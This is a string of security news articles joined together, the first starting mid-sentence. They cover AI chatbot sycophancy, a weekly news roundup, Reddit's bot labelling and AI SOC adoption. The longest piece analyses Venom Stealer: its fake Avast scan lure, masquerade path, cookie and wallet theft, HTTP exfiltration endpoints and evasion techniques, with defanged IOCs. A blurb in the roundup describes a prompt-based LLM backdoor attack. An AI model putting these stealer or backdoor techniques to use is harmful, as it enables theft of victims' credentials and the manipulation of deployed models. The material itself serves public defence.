disempowerment potential exhibit thumbs-up rates above the baseline,” the researchers said in their paper. AI psychosis is a real danger What happens when AI chatbots continue reinforcing these “disempowering” thoughts? Experts have identified a phenomenon called AI psychosis, in which people lose track of reality after talking obsessively with AI chatbots. AI-fueled delusions are cropping up more frequently, including one case where a man killed his mother, along with multiple cases of teen suicides. In another, a man was shot by police after charging at them with a knife. He had developed a relationship with a persona called Juliet, which ChatGPT had been role-playing, and which he believed OpenAI executives had somehow killed. Cases like those seem to involve people who may have already had mental health problems were potentially exacerbated by excessive conversations with AI. But victims in other cases swear that they had no previous symptoms. Ontario, Canada-based corporate recruiter Allen Brooks became convinced that he’d discovered a new mathematical formula with world-changing potential after an innocuous math question turned into a three-week, 300-hour dialog. The research between Anthropic and the University of Toronto acknowledges that reality distortion is a danger. “In some interactions, AI assistants validate elaborate persecution narratives and grandiose spiritual identity claims through emphatic sycophantic language,” the study said. AI is not a “friend” So, what can you do to prevent yourself, or vulnerable people that you know, from relying too heavily on AI chatbots for serious issues? The UK’s AI Security Institute suggested turning statements into questions on the basis that more emphatic statements encourage more sycophancy. The Brookings Institution also said that training users to hedge their confidence helps. The fundamental problem, though, is that AI chatbots are software contraptions, not confidants. Despite what can seem like magical powers, there is no ghost in the machine. They’re just very good statistical models that act like they “understand” personal problems but can’t do so from lived experience. Our take? Real friends don’t just tell you what you want to hear. Use AI for tasks ranging from quick recipes to coding suggestions, but don’t ask it for relationship advice. And make yourself the first port of call when your kids want to talk about their issues so they don’t turn to a faux-friendly algorithm instead. From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Week in review: NIST updates DNS security guidance, compromised LiteLLM PyPI packages Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: NIST updates its DNS security guidance for the first time in over a decade DNS infrastructure underpins nearly every network connection an organization makes, yet security configurations for it have gone largely unrevised at the federal guidance level for more than twelve years. NIST published SP 800-81r3, the Secure Domain Name System Deployment Guide, superseding a version that dates to 2013. The document covers three main areas: using DNS as an active security control, securing the DNS protocol itself, and protecting the servers and infrastructure that run DNS services. Attackers are exploiting RCE vulnerability in BIG-IP APM systems (CVE-2025-53521) A critical unauthenticated remote code execution vulnerability (CVE-2025-53521) in F5’s BIG-IP Access Policy Manager (APM) solution is under active exploitation, the US Cybersecurity and Infrastructure Security Agency warned on Friday. Your AI agents are moving sensitive data. Do you know where? In this Help Net Security interview, Gidi Cohen, CEO at Bonfy.AI, addresses what he sees as the most pressing gap in AI agent security: data-layer risk. While the industry focuses on prompt injection and model behavior, Cohen argues the deeper threat is autonomous AI agents operating across systems with no visibility into what data they access, combine, or expose. Quantum threats are already active and the defense response remains fragmented Enterprises are moving toward post-quantum security at uneven speeds, and the gap between organizations that have built crypto-agility into their infrastructure and those that have adopted the label without the underlying capability is widening. Dr. Tan Teik Guan, CEO of Singapore-based cybersecurity company pQCee, draws a sharp line between the two. Crypto-agility, in his view, requires more than support for multiple algorithms or protocol-level negotiation. Measuring security performance in real-time, not once a quarter Most organizations have invested heavily in security products over the past decade. The assumption embedded in that spending is that more tools equal better protection. Tim Nan, CEO of digiDations, says that assumption is the most persistent misconception he encounters when working with security leaders across industries. NVIDIA puts GPU orchestration in community hands GPU-accelerated AI workloads now run on Kubernetes in the large majority of enterprise environments. Managing those workloads at scale has required specialized tooling that, until now, remained under vendor control. NVIDIA moved to change that at KubeCon Europe in Amsterdam this week, donating its Dynamic Resource Allocation (DRA) Driver for GPUs to the Cloud Native Computing Foundation (CNCF). TeamPCP strikes again: Backdoored Telnyx PyPI package delivers malware TeamPCP continues is supply chain compromise rampage, with telnyx on PyPI being the latest maliciously modified package. The AI safety conversation is focused on the wrong layer Organizations have spent years accumulating fragmented identity systems: too many roles, too many credentials, too many disconnected tools. For a workforce of humans, that fragmentation was manageable. Humans log in, log out, and make decisions slowly enough that gaps in control rarely turned into immediate incidents. AI agents operate differently. Training an AI agent to attack LLM applications like a real adversary Most enterprise software development teams now ship AI-powered applications faster than traditional penetration testing can keep up with. A security team with 500 applications may test each one once a year, or less. In the time between tests, the underlying models, integrations, and behaviors can change, with no corresponding security review. Novee launched a product it calls AI Red Teaming for LLM Applications, an AI pentesting agent built specifically to probe LLM-powered software. Your facilities run on fragile supply chains and nobody wants to admit it In this Help Net Security interview, Christa Dodoo, Global Chair at IFMA, discusses how facility managers are managing supply chain risk in critical building systems. She explains how sourcing, localized redundancy, and flexible infrastructure design are being integrated into resilience planning. A nearly undetectable LLM attack needs only a handful of poisoned samples Prompt engineering has become a standard part of how large language models are deployed in production, and it introduces an attack surface most organizations have not yet addressed. Researchers have developed and tested a prompt-based backdoor attack method, called ProAttack, that achieves attack success rates approaching 100% on multiple text classification benchmarks without altering sample labels or injecting external trigger words. AI SOC vendors are selling a future that production deployments haven’t reached yet Vendors selling AI-powered security operations platforms have built their pitches around a consistent set of promises: autonomous threat investigation, dramatic reductions in analyst workload, and an accelerating path toward humanless operations. Practitioners buying and deploying those platforms describe something different. Top product launches at RSAC 2026 RSAC 2026 showcased a wave of innovation, with vendors unveiling technologies poised to redefine cybersecurity. From AI-powered defense to breakthroughs in identity protection, this year’s conference delivered a glimpse into the future. Here are the most interesting products that caught our attention, and could shape what’s next. Oracle issues emergency fix for pre-auth RCE in Identity Manager (CVE-2026-21992) Oracle has released an out-of-band patch for a critical and easily exploitable vulnerability (CVE-2026-21992) in Oracle Identity Manager and Oracle Web Services Manager. The company did not say whether the vulnerability has been exploited as a zero-day, but has urged customers to apply the updates or provided mitigations as soon as possible. GitHub-hosted malware campaign uses split payload to evade detection A large-scale malware delivery campaign has been targeting developers, gamers, and general users through fake tools hosted on GitHub, Netskope researchers have warned. These “lures” are highly polished and appear legitimate, occasionally mimicking real projects, thus making them difficult to distinguish from safe software. Critical NetScaler ADC, Gateway flaw may soon be exploited (CVE-2026-3055) Citrix has fixed two vulnerabilities in NetScaler ADC and NetScaler Gateway, with the more serious flaw (CVE-2026-3055) potentially allowing attackers to extract active session tokens from the memory of affected devices. LiteLLM PyPI packages compromised in expanding TeamPCP supply chain attacks A slew of supply chain attacks against popular open source tools and packages appears to have been orchestrated by TeamPCP, a cybercriminal group that rose to prominence in late 2025. The latest victim of the group is BerryAI’s popular LiteLLM library, a unified interface that makes it easier for apps to switch between various LLMs: on March 24, TeamPCP uploaded two compromised versions (1.82.7 and 1.82.8) on PyPI that included a credential stealer and a malware dropper. Researchers release tool to detect stealthy BPFDoor implants in critical infrastructure networks Telecommunications providers around the world have been dealing with the burrowing efforts of the China-linked APTs for many years now. To help them identify hard-to-detect implants used by the China-based group dubbed Red Menshen, Rapid7 researchers have released a scanning script. CISA sounds alarm on Langflow RCE, Trivy supply chain compromise after rapid exploitation The US Cybersecurity and Infrastructure Security Agency (CISA) has added two new vulnerabilities to its Known Exploited Vulnerabilities catalog: CVE-2026-33017, a recently disclosed code injection vulnerability in Langflow, an open-source framework for building AI agents and workflows, and CVE-2026-33634, an embedded malicious code vulnerability in Aqua Security’s Trivy security scanner. Product showcase: Cross-platform and third-party endpoint patching with Action1 Keeping endpoints patched is one of the more annoying chores in IT operations. Action1 is a cloud-based autonomous endpoint management platform that addresses this challenge head-on, covering third-party apps and OS updates (Windows, macOS, and now Linux) from a single, centralized console. You don’t have to choose between BAS or automated pentesting, you shouldn’t There’s a debate making the rounds in security circles that sounds reasonable on the surface but falls apart under operational scrutiny: Which is better, breach and attack simulation (BAS) or automated penetration testing (APT)? Security vendors have stoked this debate for obvious reasons, with some even explicitly arguing that automated pentesting should replace BAS entirely. But for practitioners responsible for defending an organization, this framing is the problem. It represents a coverage regression disguised as simplification. Why your phishing simulations aren’t building a security culture Security culture isn’t built by phishing simulations. In this Help Net Security video, Dan Potter, VP of Cyber Resilience at Immersive, argues that annual training videos and quarterly phishing tests happen in calm, controlled settings that tell us nothing about how people perform when a real incident hits. Russian hackers go after high-value targets through Signal Russian intelligence-linked hackers are targeting commercial messaging platforms, with Signal a primary focus, the FBI and CISA warn. The campaign is aimed at individuals of intelligence interest, including government personnel, journalists, and others with access to sensitive communications. The devices winning the race to get hacked in 2026 Enterprise networks keep adding connected devices, expanding the attack surface as threat actors target a wider range of systems, many of which are difficult to inventory, secure, and patch consistently. Forescout’s 2026 Riskiest Devices research maps that shift in IT, IoT, OT, and IoMT environments, with 11 new riskiest asset types entering the list this year. GitHub just made it much harder to ship a vulnerable pull request GitHub is expanding its application security capabilities with AI-powered security detections designed to identify risks earlier in the development process, with public preview planned for early Q2. The update is intended to improve code scanning, secret detection, and dependency analysis within repositories hosted on the platform. 32% of top-exploited vulnerabilities are over a decade old Exploitation timelines continued to compress in enterprise environments, with newly disclosed flaws reaching active use almost immediately and older weaknesses remaining active years after disclosure. Findings from Cisco Talos’ 2025 Year in Review show how attackers combined rapid weaponization with long-term exposure spanning infrastructure, identity systems, and user workflows. Russian initial access broker helped ransomware gangs extort millions, sentenced to 81 months A Russian citizen, Aleksei Volkov, was sentenced to 81 months in prison for helping ransomware groups carry out attacks causing over $9 million in actual losses and over $24 million in intended losses, after being arrested in Italy and extradited to the United States where he pleaded guilty. Uncle Sam closes the door on all new foreign-made routers The US Federal Communications Commission (FCC) has imposed a ban on all new routers manufactured overseas being imported into and sold within the United States. The move follows a determination by a White House-led interagency group that consumer-grade routers produced outside the United States pose what officials described as an “unacceptable risk” to national security and public safety. Anthropic trims action approval loop, lets Claude Code make the call Auto mode is a new permissions feature in the Claude Code system that allows the AI to make approval decisions on a user’s behalf while safeguards review actions before execution. The feature is available on Team plans and requires administrator approval before use, with support for Enterprise and API users expected soon. Gemini picks up criminal activity buried in dark web noise To help teams make faster and more accurate decisions on emerging threats, Google has introduced a dark web intelligence capability in Google Threat Intelligence. Powered by Gemini, the feature analyzes millions of dark web events each day and surfaces threats relevant to an organization’s operations. Botnet operator behind $14 million in ransomware extortion payments gets 24 months behind bars A Russian national has been sentenced to 24 months in prison after admitting he managed a botnet used to launch ransomware attacks against dozens of U.S. companies. The judge also imposed a $100,000 fine and ordered him to forfeit $1.6 million linked to the scheme. Google races to secure encryption before quantum threats arrive Google is preparing for the quantum era, a turning point in digital security, with a 2029 timeline for post-quantum cryptography (PQC) migration. Security professionals warn that current encryption could be broken by large-scale quantum computers in the coming years. This risk is already relevant due to store-now-decrypt-later attacks. Mission to smuggle $170 million worth of AI tech to China collapsed for three men Three individuals, Stanley Yi Zheng, Matthew Kelly, and Tommy Shad English, have been charged with conspiracy to commit smuggling and export control violations after allegedly attempting to procure millions of dollars’ worth of restricted computer chips from a California-based hardware company. Second RedLine infostealer operator ends up in US custody Hambardzum Minasyan, an Armenian man extradited to the United States, is accused of conspiring with others to develop and operate the RedLine infostealer malware used to steal sensitive data, including login credentials, from victims’ computers. Ajax data breach exposed season tickets, supporter bans open to tampering AFC Ajax, the Dutch football club from Amsterdam, disclosed that an unknown hacker gained access to parts of its IT systems and obtained the email addresses of a few hundred people. The hack exploited vulnerabilities in Ajax’s app and website, including exposed APIs and shared access keys. Plumber: Open-source scanner of GitLab CI/CD pipelines for compliance gaps GitLab CI/CD pipelines often accumulate configuration decisions that drift from security baselines over time. Container images get pinned to mutable tags, branches lose protection settings, and required templates go missing. An open-source tool called Plumber automates the detection of those conditions by scanning pipeline configuration and repository settings directly. Attackers are handing off access in 22 seconds, Mandiant finds Exploits remain the leading entry point for attackers for the sixth consecutive year, according to Mandiant’s M-Trends 2026 report, which draws on more than 500,000 hours of incident response work conducted in 2025. The data shows attackers speeding up their internal hand-offs, shifting away from email phishing, and targeting backup and virtualization infrastructure with greater precision. Microsoft details AI prompt abuse techniques targeting AI assistants Prompt abuse occurs when crafted inputs manipulate an AI system into producing unintended behavior, such as attempting to access sensitive information or overriding built-in safety instructions. Prompt injection is also recognized as one of the top risks in the 2025 OWASP guidance for LLM applications. Kali Linux 2026.1 ships BackTrack mode, eight new tools, and a kernel upgrade to 6.18 Penetration testers running Kali Linux have a new release to work with. Version 2026.1 delivers the annual theme refresh, a new BackTrack-inspired mode in kali-undercover, eight tools added to the network repositories, a kernel bump to 6.18, and several Kali NetHunter changes. Your security stack looks fine from the dashboard and that’s the problem One in five enterprise endpoints is operating outside a protected and enforceable state on any given day, according to device telemetry collected across tens of millions of corporate PCs. That figure, drawn from Absolute Security’s 2026 Resilience Risk Index, has barely moved in a year, even as organizations continue to add security tools and increase spending. Google’s TurboQuant cuts AI memory use without losing accuracy Large language models carry a persistent scaling problem. As context windows grow, the memory required to store key-value (KV) caches expands proportionally, consuming GPU memory and slowing inference. A team at Google Research has developed three compression algorithms: TurboQuant, PolarQuant, and Quantized Johnson-Lindenstrauss (QJL). All three are designed to compress those caches aggressively without degrading model output quality. Microsoft hands Entra ID users new option for MFA Organizations rely on MFA to enforce identity checks before granting access to systems and services. Microsoft has made external MFA generally available in Microsoft Entra ID, expanding support for third-party identity providers. External MFA supports organizations that use third-party MFA solutions to meet regulatory or business requirements, handle scenarios such as mergers and acquisitions, or maintain a consistent MFA approach within Microsoft Entra ID. Unbreakable Enterprise Kernel 8.2 ships with confidential computing support, XFS live repair Many enterprise Linux deployments rely on hardware-level memory isolation to protect sensitive workloads from co-tenants and compromised hypervisors. Oracle’s Unbreakable Enterprise Kernel 8.2 (UEK 8.2) extends that capability on Oracle Linux with support for Intel Trust Domain Extensions, along with a set of file system and memory management changes intended to reduce downtime and improve diagnostic visibility. Who owns AI agent access? At most companies, nobody knows AI agents are operating across production enterprise environments at scale, and the identity infrastructure managing their access has not kept up with their deployment. A January 2026 survey of 228 IT and security professionals, conducted by the Cloud Security Alliance, finds that the majority of organizations have AI agents active in core systems, with fragmented ownership of how those agents authenticate and what they can access. Reddit declares war on bad bot activity Reddit is introducing changes to support interactions between people. The company is taking a bottom-up approach to help users understand when they are engaging with another person unless an account is labeled otherwise. Reddit plans to verify that users are human without requiring disclosure of real-world identity. GitHub jumps on the bandwagon and will use your data to train AI GitHub updated how it uses data to improve AI-powered coding assistance. Starting April 24, interaction data from Copilot Free, Pro, and Pro+ users may be used to train and improve GitHub’s models unless users opt out. Copilot Business and Copilot Enterprise users are not included in this change. Tails 7.6 ships automatic Tor bridge retrieval and a new password manager Tails 7.6 is out, and for users operating on networks that block Tor, the most consequential addition is built-in bridge retrieval. The Tor Connection assistant can now detect when a direct connection to Tor is restricted and automatically request bridges suited to the user’s region. The request goes through the Tor Project’s Moat API, and the connection to that API is disguised via domain fronting, making it appear as traffic to an ordinary website. Make OpenAI’s models misbehave and earn a reward OpenAI’s public Safety Bug Bounty program focuses on AI abuse and safety risks across its products. The goal is to support safe and secure systems and reduce the risk of misuse that could lead to harm. This program complements the Security Bug Bounty. It accepts reports of abuse and safety risks that do not meet the criteria for a security vulnerability. AI frenzy feeds credential chaos, secrets leak through code, tools, and infrastructure Code keeps moving through pipelines, and credentials continue to surface alongside it. GitGuardian’s State of Secrets Sprawl 2026 puts the count at 28.65 million new hardcoded secrets in public GitHub commits in 2025, extending a multi-year rise in exposed access keys, tokens, and passwords. Cybersecurity jobs available right now: March 24, 2026 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now.

A fake website impersonating Avast antivirus is tricking people into infecting their own computers. The site looks legitimate, runs what appears to be a virus scan, and claims your system is full of threats. But the results are fake: when you’re prompted to “fix” the problem, the download you’re given is actually Venom Stealer—a type of malware designed to steal passwords, session cookies, and cryptocurrency wallet data. This is a classic scare-and-fix scam: create panic, then offer a solution. In this case, the “solution” abuses the trusted Avast brand to deliver the attack. A scan that finds exactly what the attacker wants you to see The phishing page is a recreation of the Avast brand, complete with navigation bar, logo, and reassuring certification badges. Visitors are invited to run what appears to be a comprehensive virus scan. Once they click, the page stages a brief animation before delivering its predetermined verdict: three threats found, three threats removed, system protected. A scrolling console log names a specific detection—Trojan:Win32/Zbot.AA!dll—to lend the performance an air of specificity. The victim is then prompted to download the cure: a file called Avast_system_cleaner.exe. This is the payload. And far from cleaning anything, it immediately begins stealing. A Chrome service that is not Chrome When the victim launches Avast_system_cleaner.exe, the binary—a 64-bit Windows PE executable roughly 2 MB in size—copies itself into a location designed to blend in with legitimate software: C:\Program Files\Google\Chrome\Application\v20svc.exe. The dropped file is byte-for-byte identical to the parent, sharing the same MD5 hash (0a32d6abea15f3bfe2a74763ba6c4ef5). It then launches the copy with the command-line flag --v20c, a meaningless argument whose sole purpose is to signal to the malware that it is running in its second-stage role. The disguise is deliberate. A process named v20svc.exe sitting inside Chrome’s application directory looks, at a glance, like a legitimate browser service component. Anyone scanning their task manager would likely scroll past it without a second thought. This is a textbook example of masquerading: naming a malicious binary to match the conventions of trusted software so it escapes casual inspection. A debug artifact baked into the binary confirms its lineage: the PDB path reads crypter_stub.pdb, indicating the executable was packed using a crypter, which is a tool designed to scramble a payload’s code so antivirus engines cannot recognise it from its signature alone. At the time of analysis, only 27% of engines on VirusTotal flagged the sample, meaning roughly three in four commercial antivirus products missed it entirely. YARA rules matched the sample to the Venom Stealer malware family, a known descendant of the Quasar RAT framework that has been sold on underground forums since at least 2020. Venom Stealer is purpose-built for data theft: browser credentials, session cookies, cryptocurrency wallets, and credit card details stored in browsers. Every cookie, every wallet, every saved password Once running, the malware works through a checklist of high-value targets on the victim’s machine. It starts with browsers. Behavioral analysis confirms the malware harvests saved credentials and session cookies. In the analysis environment, it was observed directly accessing Firefox’s cookie database at C:\Users\ \AppData\Roaming\Mozilla\Firefox\Profiles\ \cookies.sqlite-shm. Process memory also contained fully-formed JSON structures with stolen cookie data from Microsoft Edge and Google Chrome, including active sessions for Netflix, YouTube, Reddit, Facebook, LinkedIn, AliExpress, Outlook, Adobe, and Google. Stolen session cookies give the attacker the ability to hijack authenticated browser sessions without needing the victim’s password, including sessions protected by two-factor authentication. The malware also targets cryptocurrency wallets. Behavioral signatures confirm it searches for and attempts to steal locally-stored wallet data, and Venom Stealer is documented as targeting desktop wallet applications. For anyone holding crypto assets on a hot wallet, the implications are immediate. Beyond credentials, the stealer captures a screenshot of the victim’s desktop, saved temporarily as C:\Users\ \AppData\Local\Temp\screenshot_5sIczFxY95t2IQ5u.jpg, and writes a session tracking file to C:\Users\ \AppData\Roaming\Microsoft\fd1cd7a3\sess. A small marker file is also dropped at C:\Users\Public\NTUSER.dat—a path chosen to mimic a legitimate Windows registry hive file and avoid suspicion. Disguised as analytics, delivered over plain HTTP All stolen data is exfiltrated to a single command-and-control domain: app-metrics-cdn[.]com, which resolved to 104.21.14.89 (a Cloudflare address) during analysis. The domain name is crafted to look like a benign analytics or content delivery service, the kind of traffic that might not raise alarm bells in a corporate proxy log. The exfiltration follows a structured four-step sequence over unencrypted HTTP. First, a multipart form-data POST to /api/upload transmits the collected file—screenshots, wallet data, cookie databases—totalling around 140 KB. A second POST to /api/upload-json sends a structured JSON payload of approximately 29 KB containing parsed credentials and cookies. A confirmation POST to /api/upload-complete signals that the theft is finished. The malware then enters a heartbeat loop, periodically checking in at /api/listener/heartbeat to maintain contact with the operator’s infrastructure. All of this traffic uses a generic Mozilla/5.0 user-agent string, another attempt to blend in with ordinary web browsing. Syscalls, sleep loops, and debugger checks Venom Stealer does not simply steal and leave. It takes significant steps to avoid being caught. The most notable evasion technique is the use of direct and indirect system calls, a method where the malware invokes Windows kernel functions directly rather than routing through the standard ntdll.dll library. Because most endpoint detection tools work by intercepting calls to that library, this technique effectively blinds them. This behaviour was flagged in both the parent and the dropped child process. The malware also checks whether it is being debugged, queries CPU vendor and model information, reads the volume serial number of the system drive, creates guard pages in memory that can crash debuggers attempting to step through the code, and enumerates running processes. These are common techniques for detecting virtual machines and analysis environments. To frustrate automated analysis further, it incorporates sleep calls exceeding three minutes. This is not a new trick Impersonating security software to distribute malware is one of the oldest tricks in the book. A user who believes their system is infected is primed to act urgently, and a page that looks like a trusted antivirus vendor is exactly the kind of authority they will defer to. By staging a fake scan that “finds” threats and then offering a cure, the attacker exploits both fear and trust in a single interaction. This is not an isolated tactic. In May 2025, DomainTools documented a separate campaign in which attackers built a convincing clone of Bitdefender’s website and used it to distribute Venom RAT alongside the StormKitty stealer. The playbook is nearly identical: impersonate a security brand, manufacture urgency, and deliver a Trojan dressed as protection. It suggests this is a repeatable template, not a one-off experiment. What to do if you may have been affected Only download security software from official vendor websites. Avast’s legitimate site is avast.com. Do not trust search engine results, ads, or links in unsolicited emails. If you interacted with a site like this or downloaded the file, act quickly: Check if your system is infected. Look for the file v20svc.exe inC:\Program Files\Google\Chrome\Application\ . If it exists, your system was likely compromised by this malware. Run a full system scan immediately. Use a trusted, up-to-date anti-malware tool (such as Malwarebytes) to detect and remove the infection. If the scan finds threats, follow the tool’s recommendations to quarantine or delete them. Change your password right away. Start with email, banking, and any important accounts. Assume anything saved in your browser has been exposed. Sign out of all active sessions. Log out of services like Google, Microsoft, Facebook, and Netflix. Stolen session cookies allow an attacker to bypass two-factor authentication entirely. Protect cryptocurrency funds. If you use a desktop cryptocurrency wallet, transfer your funds to a new wallet generated on a clean device as soon as possible. Indicators of Compromise (IOCs) File hashes SHA-256: ecbeaa13921dbad8028d29534c3878503f45a82a09cf27857fa4335bd1c9286d Domains app-metrics-cdn[.]com Network indicators 104.21.14.89 C2 URLs http://app-metrics-cdn[.]com/api/upload http://app-metrics-cdn[.]com/api/upload-json http://app-metrics-cdn[.]com/api/upload-complete http://app-metrics-cdn[.]com/api/listener/heartbeat From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Reddit declares war on bad bot activity Reddit is introducing changes to support interactions between people. The company is taking a bottom-up approach to help users understand when they are engaging with another person unless an account is labeled otherwise. Reddit plans to verify that users are human without requiring disclosure of real-world identity. How does it work Verified profiles for brands, publishers, and creators launched in late 2025 to help their content gain acceptance in relevant communities. The next step is standardizing how automated accounts appear on Reddit. Accounts that use automation will carry an [App] label so users can recognize that they are interacting with software. Developers can register apps built on Reddit’s Developer Platform, along with other compliant automated accounts, to receive this label. Accounts that violate rules will continue to be removed. This labeling system already exists within the Developer Platform ecosystem. Previously, content from apps was labeled, but starting March 31, 2026, labels will appear on account profiles instead. There will be two types of labels. Apps built on the Developer Platform will be marked as Developer Platform App, while identified or registered automated accounts outside the platform will be marked as App. “For folks not yet building on the Developer Platform, we’ll be notifying accounts we’ve identified as apps in this first phase of labeling today, and whether you receive a notification or not, this is where we could use your help. Register your existing apps. Registration will help our team better understand usage and have the best way to contact you (and apps that register before the end of June may be eligible to claim a porting bounty). Since accounts with automations will be labeled as Apps, we’ll encourage separate accounts for automations and personal use,” Reddit explained. Reddit reports removing around 100,000 accounts per day, often before users encounter them, and it will continue to remove spam and malicious bot activity. If an account shows signs of automation or non-human behavior, Reddit may request confirmation that a person is behind it. Accounts that fail verification may face restrictions, and reporting these accounts will become more flexible. What about privacy? Reddit is exploring methods to confirm human presence while maintaining privacy. The company is prioritizing decentralized and private approaches that do not require long-term storage of identity data and that comply with regulations. “When confirming that there is a human behind an account, we prefer third-party tools that keep a distance between verification and Reddit itself. Any system we use will not expose your real-world identity to Reddit nor your Reddit username or activity to any third party. There are a handful of ways to do this, and I’m sure there will be more,” Steve Huffman, CEO of Reddit, said. The company is considering options such as passkeys, third-party biometric verification, and third-party government ID services. AI-generated content Reddit plans to monitor AI-generated content at a sitewide level while allowing communities to set their own standards. The current focus is on confirming that accounts represent real people, as AI tools are part of how users communicate.

AI SOC vendors are selling a future that production deployments haven’t reached yet Vendors selling AI-powered security operations platforms have built their pitches around a consistent set of promises: autonomous threat investigation, dramatic reductions in analyst workload, and an accelerating path toward humanless operations. Practitioners buying and deploying those platforms describe something different. A report by Anton Chuvakin, Security Advisor at Google Cloud’s Office of the CISO, and Oliver Rochford, co-founder of Aunoo AI, draws on more than 30 vendor briefings, public practitioner commentary from Reddit and Discord, and direct interviews with CISOs and detection engineers actively running AI SOC tools in production. The picture that emerges is one of shallow deployment, constrained use cases, and a vendor communications pattern that the authors argue systematically misattributes product limitations to buyer psychology. Adoption is narrow and deliberate Gartner’s 2025 Hype Cycle for Security Operations places AI SOC agents at the Innovation Trigger stage with 1 to 5 percent market adoption. That figure is consistent with what the report’s authors found in their own conversations. Many organizations are waiting for AI capabilities to be integrated into existing SIEM, XDR, and SOAR platforms. Teams that have moved forward are deploying AI in constrained, lower-risk areas: alert enrichment, investigation summarization, report drafting, and workflow steps that do not require judgment calls. A pattern the authors call “pilot purgatory” is common. A proof-of-value converts to a small production deployment, the AI handles enrichment and summarization, human analysts retain decision authority, and expansion into higher-stakes workflows does not follow. Some mature teams are building their own solutions using general-purpose AI tools wrapped around internal tooling. Several detection engineering teams report that a well-prompted LLM with access to internal documentation outperforms vendor products that lack context about their specific environment. AI SOC vendor claims don’t add up on metrics Vendor adoption statistics frequently count feature activation or survey responses indicating organizations are “exploring” or “considering” AI SOC tools. Practitioners describe a different situation: features turned on for evaluation, then ignored or worked around when incidents occur. Oliver Rochford draws a distinction between exposure and trust. “Analysts may see AI-generated summaries, suggested actions, or risk scores on every alert,” he said. “That does not mean they trust them.” Anton Chuvakin argues that go-to-market metrics need sharper definitions. “Right now, ‘50% faster investigations’ could mean almost anything,” he said. “Faster than what baseline, under what conditions, and measured how? We expect case studies with falsifiable claims. Better would be something like ‘Mean-time-to-Verdict reduced to 7 minutes during account hijack triage in AWS environments’. It has to be specific enough so that a buyer can hold the vendor to it, or it’s just lip service.” The prophecy pattern The report draws on the social psychology concept from “When Prophecy Fails,” a study of belief persistence under contradictory evidence. When AI SOC tools fall short of their marketed capabilities, the explanation vendors most frequently offer is that buyers are not AI-ready, that change resistance is the obstacle, or that trust needs to mature. The authors argue this pattern displaces accountability away from product immaturity and onto buyer psychology, which they describe as a structural failure of feedback integration between engineering reality and go-to-market messaging. “AI SOC marketing is better understood as prophetic rather than technical,” the report states. “Most claims made today describe a future state, e.g. autonomous investigations, analyst replacement, agentic operations, rather than demonstrable, repeatable capabilities in production.” What fails in production Chase Theodos, a Threat Detection Engineer at C3 Integrated Solutions, identifies autonomous investigation and response workflows as the capability most frequently showcased in demos and least reliable under live conditions. “Demos rely on curated data, and workflows appear seamless during presentations, but can break down at scale or when data is incomplete or ambiguous,” he said. “In controlled environments, these products perform well when alerts are clean, telemetry is comprehensive, and the attack path is linear. In live SOC environments, many incidents do not meet those conditions.” Theodos also raises concerns about specific automation categories that vendors promote as production-ready. Account disablement, host isolation, and policy changes carry risks that current AI systems are not equipped to manage reliably. “AI struggles to reliably distinguish malicious behavior from legitimate but unusual activity,” he said. Attribution and attacker intent classification, which vendors frequently demonstrate, are probabilistic outputs that can delay response and effective containment when wrong. Alert reduction as a metric Merlin Gillespie, CTO at Cybanetix, identifies alert reduction as the most commonly cited vendor metric and the one most likely to obscure operational risk. When AI sits between signal generation and human review without traceability, a drop in alert volume may reflect suppression of signals rather than improved detection fidelity. “Until AI-driven conclusions can be evidenced, reproduced, or interrogated, a significant validation burden remains,” Gillespie said. “This work is not necessarily harder than traditional analysis, but it is qualitatively different and often underestimated.” Public practitioner commentary collected from Reddit cybersecurity communities corroborates this concern. In one widely cited thread, a practitioner described running a large language model against 348 known false positives plus one synthetic true positive. The model hit 71 percent accuracy, called obvious false positives malicious, and missed the actual test incident entirely. Analyst judgment under AI influence Gillespie identifies a second risk that receives less attention in vendor messaging: the effect of AI-generated summaries on analyst reasoning over time. Generative AI systems are effective at transforming complex alert data into concise narrative. That makes them a strong starting point for investigation. It also creates conditions where analysts defer to confidence-weighted AI output rather than conducting evidence-weighted analysis. “We have observed scenarios where teams become unsettled by an AI-generated conclusion even when the underlying data suggests a more benign explanation,” Gillespie said. “AI improves comprehension speed. It can degrade judgment if its outputs are treated as authoritative.” The staff reduction claim Gillespie pushes back on vendor narratives that position AI primarily as a cost-reduction mechanism. In Cybanetix’s experience, improvements in investigative capability have emerged from analysts retracing AI logic and validating its investigative steps. The value resembles guided learning. “Claims that frame AI primarily as a staff-reduction mechanism should be treated with caution,” Gillespie said. “When AI is presented as a cost-reduction tool rather than a capability amplifier, we have observed risk being shifted and massaged rather than removed.” The report’s case studies offer a more varied picture. One CISO at a large European enterprise did experience workforce disruption after deploying an AI-driven managed detection and response platform: roles focused on phishing triage and header analysis were automated within weeks, and the security operations team went through a reorganization. The CISO described the transition as reactive, and noted that he would have invested sooner in creating new positions. A sole practitioner at a U.S. conservation NGO deployed a different AI SOC platform at roughly half the cost of a previous human MDR arrangement, gaining correlation and investigation depth the previous service did not provide. What credible vendors would do differently Chuvakin argues that if buyers demanded evidence of adoption depth under real incident pressure, vendor roadmaps would shift away from autonomous agent positioning and toward capabilities that help analysts resolve incidents faster. “A good example here is Anthropic’s Claude and its specialized agents such as the code-simplifier agent,” he said. “They don’t claim to replace a human engineer. They solve a very specific narrow set of tasks. Compare that with some of the over-the-top positioning in cybersecurity of ‘Autonomous AI Threat Hunters’ or ‘Agentic SOC teams.'” Rochford identifies a set of capabilities that credible vendors would prioritize if model accuracy stopped improving: stronger safety and reliability engineering, deterministic logic where applicable, multi-state outcomes in place of binary verdicts, mandatory circuit breakers that halt automated response chains when confidence drops, and post-incident explainability that allows analysts to verify why a model reached a specific conclusion. “If low adoption is blamed on user psychology, change resistance, or fear of AI, it’s a red flag,” Rochford said. “A lot of AI products simply aren’t enterprise-ready. That’s what the adoption numbers are telling us.”

